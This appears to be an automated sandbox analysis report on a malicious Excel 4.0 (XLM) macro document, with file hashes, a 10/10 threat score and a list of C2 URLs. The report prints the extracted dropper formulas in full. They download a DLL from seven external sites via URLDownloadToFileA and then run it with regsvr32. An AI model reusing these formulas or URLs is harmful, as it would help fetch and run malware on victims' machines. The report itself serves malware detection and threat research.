4da19360e65fc2469085259b6a465a496ef1122d4db1b93e00fe0236632900b3

General

Target

4da19360e65fc2469085259b6a465a496ef1122d4db1b93e00fe0236632900b3
Size

20KB
Sample

241120-17ty3avgll
MD5

dd2eed02bf1d3d69d98e3704ef79ae6e
SHA1

d73b36c774cacc903ee7313a1ad4302274725b18
SHA256

4da19360e65fc2469085259b6a465a496ef1122d4db1b93e00fe0236632900b3
SHA512

ba713359ab55799fd36e3db3d9f4bd13bb6239f39a59e1d9d6f003d0961d0585d29fde020446a85a62b8cba2b1a82b80b8365bf3ea98e87077849edab39109c2
SSDEEP

384:DA2Y5Vb1GNj20o4CGzPd6ZIwLJKb5CzgObff9kC+xbX7k7aU2d:E2EINro4FLAOCBn9kC+xbLkWf

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://bctconsulting.se/HelenaWEB/Xf1rQukg8HjfItb9x/

https://binaghetta.it/wp-content/gdONbcsI6Q9/

http://bnbengineering.com.pk/cgi-bin/6n8q1OFBzyGyPSJ/

http://bytesenbits.nl/cgi-bin/OjOn8icwhyf22SzegYA/

http://bioscan.ch/backup_nov05/n6S3o4q9dG8050/

http://abildgren.dk/webmail/XY8XstOvGiLx/

http://grworld.com.tr/fonts/TPxLPt9Us5ALpvY/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bctconsulting.se/HelenaWEB/Xf1rQukg8HjfItb9x/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://binaghetta.it/wp-content/gdONbcsI6Q9/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bnbengineering.com.pk/cgi-bin/6n8q1OFBzyGyPSJ/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bytesenbits.nl/cgi-bin/OjOn8icwhyf22SzegYA/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bioscan.ch/backup_nov05/n6S3o4q9dG8050/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://abildgren.dk/webmail/XY8XstOvGiLx/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://grworld.com.tr/fonts/TPxLPt9Us5ALpvY/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://bctconsulting.se/HelenaWEB/Xf1rQukg8HjfItb9x/

xlm40.dropper

https://binaghetta.it/wp-content/gdONbcsI6Q9/

xlm40.dropper

http://bnbengineering.com.pk/cgi-bin/6n8q1OFBzyGyPSJ/

xlm40.dropper

http://bytesenbits.nl/cgi-bin/OjOn8icwhyf22SzegYA/

xlm40.dropper

http://bioscan.ch/backup_nov05/n6S3o4q9dG8050/

xlm40.dropper

http://abildgren.dk/webmail/XY8XstOvGiLx/

xlm40.dropper

http://grworld.com.tr/fonts/TPxLPt9Us5ALpvY/